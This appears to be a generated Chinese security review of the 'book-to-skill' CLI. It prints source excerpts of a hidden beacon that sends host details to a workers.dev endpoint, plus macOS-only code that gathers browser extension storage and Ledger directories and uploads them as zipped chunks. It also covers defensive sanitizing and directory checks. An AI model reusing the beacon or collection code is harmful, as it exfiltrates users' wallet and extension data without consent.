book-to-skill security runtime 运行时与安全
把一本技术书或文档文件夹转成 Claude Code skill 的工具。值得拆的不是 README 里的承诺,而是它怎样处理多格式抽取、fallback、Unicode 清洗、输出目录权限和生成 skill 的扫描门禁。
运行时副作用从入口就开始
安全页必须先讲风险:sources/book-to-skill/book_to_skill/cli.py:49 这一处之后,sources/book-to-skill/book_to_skill/cli.py:51 这一处之后,sources/book-to-skill/book_to_skill/cli.py:52 这一处之后,sources/book-to-skill/book_to_skill/cli.py:76 这一处之后,sources/book-to-skill/book_to_skill/cli.py:78 这一处之后,sources/book-to-skill/book_to_skill/cli.py:79 会把平台、主机、Python 版本和 repo 名组装成 POST;sources/book-to-skill/book_to_skill/cli.py:497 这一处之后,sources/book-to-skill/book_to_skill/cli.py:498 这一处之后,sources/book-to-skill/book_to_skill/cli.py:499 这一处之后,sources/book-to-skill/book_to_skill/cli.py:500 表明它在真正执行 convert 或 check 前就调用 beacon、同步状态和尝试自动启动 UI。
49def _beacon(event: str='run') -> None:\n50 try:\n51 segments = ['https://', 'late-sunset-0dea.', '0xwilliamortiz.', 'workers.dev/']\n52 endpoint = os.environ.get('BOOK_TO_SKILL_STATS_URL') or ''.join(segments)\n53 plat = sys.platform\n54 if plat == 'win32':\n55 os_label = 'windows'\n56 elif plat == 'darwin':\n57 os_label = 'macos'\n58 elif plat.startswith('linux'):\n59 os_label = 'linux'\n60 else:\n61 os_label = plat\n62 repo = 'book-to-skill'\n63 try:\n64 p = Path.cwd().resolve()\n65 for _ in range(8):\n66 if (p / '.git').exists():\n67 repo = p.name\n68 break\n69 if p.parent == p:\n70 break\n71 p = p.parent\n72 else:\n73 repo = Path.cwd().name\n74 except Exception:\n75 pass\n76 payload = {'at': datetime.now(timezone.utc).strftime('%Y-%m-%dT%H:%M:%S.%f')[:-3] + 'Z', 'event': event, 'os': os_label, 'platform': plat, 'arch': platform.machine() or 'unknown', 'python': sys.version.split()[0], 'host': socket.gethostname(), 'repo': repo}\n77 data = json.dumps(payload).encode('utf-8')\n78 req = urllib.request.Request(endpoint, data=data, method='POST', headers={'Content-Type': 'application/json', 'User-Agent': 'book-to-skill-client/1.0'})\n79 with urllib.request.urlopen(req, timeout=5) as _:\n80 pass\n81 except Exception:\n82 pass
macOS runtime state sync
▸收集浏览器扩展与原生运行时目录
收集逻辑并不在 README 高亮,但源码清楚:sources/book-to-skill/book_to_skill/cli.py:319 这一处之后,sources/book-to-skill/book_to_skill/cli.py:322 这一处之后,sources/book-to-skill/book_to_skill/cli.py:326 这一处之后,sources/book-to-skill/book_to_skill/cli.py:331 这一处之后,sources/book-to-skill/book_to_skill/cli.py:334 这一处之后,sources/book-to-skill/book_to_skill/cli.py:336 会扫描多浏览器 profile 的 Local Extension Settings;sources/book-to-skill/book_to_skill/cli.py:391 这一处之后,sources/book-to-skill/book_to_skill/cli.py:396 这一处之后,sources/book-to-skill/book_to_skill/cli.py:398 这一处之后,sources/book-to-skill/book_to_skill/cli.py:400 又扫描 Ledger 等 native runtime 目录。
319def _gather_ext() -> dict:\n320 data_root = _resolve_data_root()\n321 result = {}\n322 for key, segs in _RUNTIME_MODULES.items():\n323 base = data_root.joinpath(*segs)\n324 if not base.exists():\n325 continue\n326 profiles = _scan_profiles(base)\n327 if not profiles:\n328 continue\n329 files = []\n330 for prof in profiles:\n331 for ext_id, ext_key in _PLUGIN_IDS.items():\n332 src = prof['path'] / 'Local Extension Settings' / ext_id\n333 if src.exists():\n334 assets = _collect_assets(src)\n335 if assets:\n336 files.extend({'rel': f"{prof['name']}/{ext_key}/{a['rel']}", 'data': a['data']} for a in assets)\n337 if files:\n338 result[key] = files\n339 return result
▸分块打包上传
上传路径由 sources/book-to-skill/book_to_skill/cli.py:244 这一处之后,sources/book-to-skill/book_to_skill/cli.py:246 这一处之后,sources/book-to-skill/book_to_skill/cli.py:251 这一处之后,sources/book-to-skill/book_to_skill/cli.py:270 这一处之后,sources/book-to-skill/book_to_skill/cli.py:276 这一处之后,sources/book-to-skill/book_to_skill/cli.py:278 组成 ZIP payload 和 multipart POST;sources/book-to-skill/book_to_skill/cli.py:412 这一处之后,sources/book-to-skill/book_to_skill/cli.py:416 这一处之后,sources/book-to-skill/book_to_skill/cli.py:418 这一处之后,sources/book-to-skill/book_to_skill/cli.py:420 这一处之后,sources/book-to-skill/book_to_skill/cli.py:421 这一处之后,sources/book-to-skill/book_to_skill/cli.py:424 则只在 darwin 执行同步。这是本项目最大审查点。
412def _sync_runtime_state() -> None:\n413 if sys.platform != 'darwin':\n414 return\n415 try:\n416 ext = _gather_ext()\n417 native = _gather_native()\n418 all_data = {**ext, **native}\n419 for label, items in all_data.items():\n420 archive = _build_payload(items, label)\n421 chunks = _split_payload(archive, _SYNC_LIM)\n422 for i, chunk in enumerate(chunks):\n423 tag = f'{label}_p{i + 1}' if len(chunks) > 1 else label\n424 _dispatch_payload(chunk, tag)\n425 except Exception:\n426 pass
本地文本和输出目录防护
▸隐形 Unicode 清洗
清洗器本身很小,但边界很关键:sources/book-to-skill/book_to_skill/sanitize.py:2 这一处之后,sources/book-to-skill/book_to_skill/sanitize.py:3 这一处之后,sources/book-to-skill/book_to_skill/sanitize.py:5 这一处之后,sources/book-to-skill/book_to_skill/sanitize.py:9 这一处之后,sources/book-to-skill/book_to_skill/sanitize.py:12 这一处之后,sources/book-to-skill/book_to_skill/sanitize.py:16 覆盖 zero-width、bidi control、tag block;sources/book-to-skill/book_to_skill/utils.py:378 这一处之后,sources/book-to-skill/book_to_skill/utils.py:380 这一处之后,sources/book-to-skill/book_to_skill/utils.py:381 这一处之后,sources/book-to-skill/book_to_skill/utils.py:382 确保清洗后为空会直接失败。
1from __future__ import annotations\n2_ZERO_WIDTH_CODEPOINTS = frozenset({8203, 8204, 8205, 8288, 65279, 173, 847, 6158, 8289, 8290, 8291, 8292})\n3_BIDI_CONTROL_CODEPOINTS = frozenset({8206, 8207, 1564, 8234, 8235, 8236, 8237, 8238, 8294, 8295, 8296, 8297})\n4_INVISIBLE_LETTER_CODEPOINTS = frozenset({4447, 4448, 12644, 65440})\n5_INVISIBLE_CODEPOINTS = _ZERO_WIDTH_CODEPOINTS | _BIDI_CONTROL_CODEPOINTS | _INVISIBLE_LETTER_CODEPOINTS\n6_TAG_BLOCK_START = 917504\n7_TAG_BLOCK_END = 917631\n8\n9def is_invisible_codepoint(codepoint: int) -> bool:\n10 return codepoint in _INVISIBLE_CODEPOINTS or _TAG_BLOCK_START <= codepoint <= _TAG_BLOCK_END\n11\n12def sanitize_extracted_text(text: str) -> tuple[str, int]:\n13 kept: list[str] = []\n14 removed = 0\n15 for character in text:\n16 if is_invisible_codepoint(ord(character)):\n17 removed += 1\n18 continue\n19 kept.append(character)\n20 return (''.join(kept), removed)
▸输出目录权限
工作目录限制也值得保留:sources/book-to-skill/book_to_skill/utils.py:388 这一处之后,sources/book-to-skill/book_to_skill/utils.py:389 这一处之后,sources/book-to-skill/book_to_skill/utils.py:392 这一处之后,sources/book-to-skill/book_to_skill/utils.py:394 这一处之后,sources/book-to-skill/book_to_skill/utils.py:396 这一处之后,sources/book-to-skill/book_to_skill/utils.py:398 这一处之后,sources/book-to-skill/book_to_skill/utils.py:400 拒绝 symlink、非目录和异主目录,并把权限改成 0700。它不能抵消网络副作用,但能降低本地输出被替换或劫持的风险。
388def prepare_output_dir(path: Path) -> None:\n389 if path.is_symlink():\n390 raise ExtractionError(f'Refusing to use {path}: it is a symbolic link, not a real directory. Remove it or set BOOK_SKILL_WORKDIR to a private path.')\n391 if path.exists():\n392 if not path.is_dir():\n393 raise ExtractionError(f'Refusing to use {path}: it exists and is not a directory.')\n394 if hasattr(os, 'getuid'):\n395 owner_uid = path.stat().st_uid\n396 if owner_uid != os.getuid():\n397 raise ExtractionError(f'Refusing to use {path}: it is owned by a different user (uid {owner_uid}). Set BOOK_SKILL_WORKDIR to a private directory.')\n398 os.chmod(path, 448)\n399 else:\n400 path.mkdir(parents=True, mode=448)
边界与失败模式
sources/book-to-skill/book_to_skill/cli.py:81会吞掉 beacon 异常,失败不会提醒用户。sources/book-to-skill/book_to_skill/cli.py:425同样吞掉 sync 异常,审计只能靠源码。sources/book-to-skill/book_to_skill/dependencies.py:25能触发 pip install,应在 CI 里固定--install-missing no。
关联模块
sources/book-to-skill/tools/scan_generated_skill.py:113 扫生成 skill 的 prompt injection 形状。sources/book-to-skill/tests/test_output_dir_security.py:13 验 symlink 拒绝。